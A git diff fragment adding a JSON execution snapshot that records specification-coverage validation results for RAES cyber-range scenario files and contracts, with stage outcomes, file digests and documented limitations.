"validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d86459ed0fb7f5cd5ab89bbf581da753c7bfd9b3f2b91503fd23356427c9879c", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ed351205979c8a80e10962146cc95f8a4019c593459d9e32b4f65aa0aca91f7f", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "ddf2cd2a7b46f895ea1a845bad7e90db1f05b2ef6abce3789b20ebb1698c7c7f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "8efffc85f5fa90fab9f8bac55471484624ef6cc4", + "snapshot_id": "raes-standardized-specification-coverage-issue-1237-v19", + "snapshot_revision": "19.0.0", + "source_state": { + "base_revision": "8efffc85f5fa90fab9f8bac55471484624ef6cc4", + "checkout_state": "modified", + "implementation_digest": "4dcfb6153100f2000b027ca378e4c22adcb84fd03fc3ad84474fee435e13ee37", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v20.json b/docs/research/specification-coverage/execution-snapshot-v20.json new file mode 100644 index 000000000..eced0cbeb --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v20.json @@ -0,0 +1,685 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T00:22:06.634965+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + 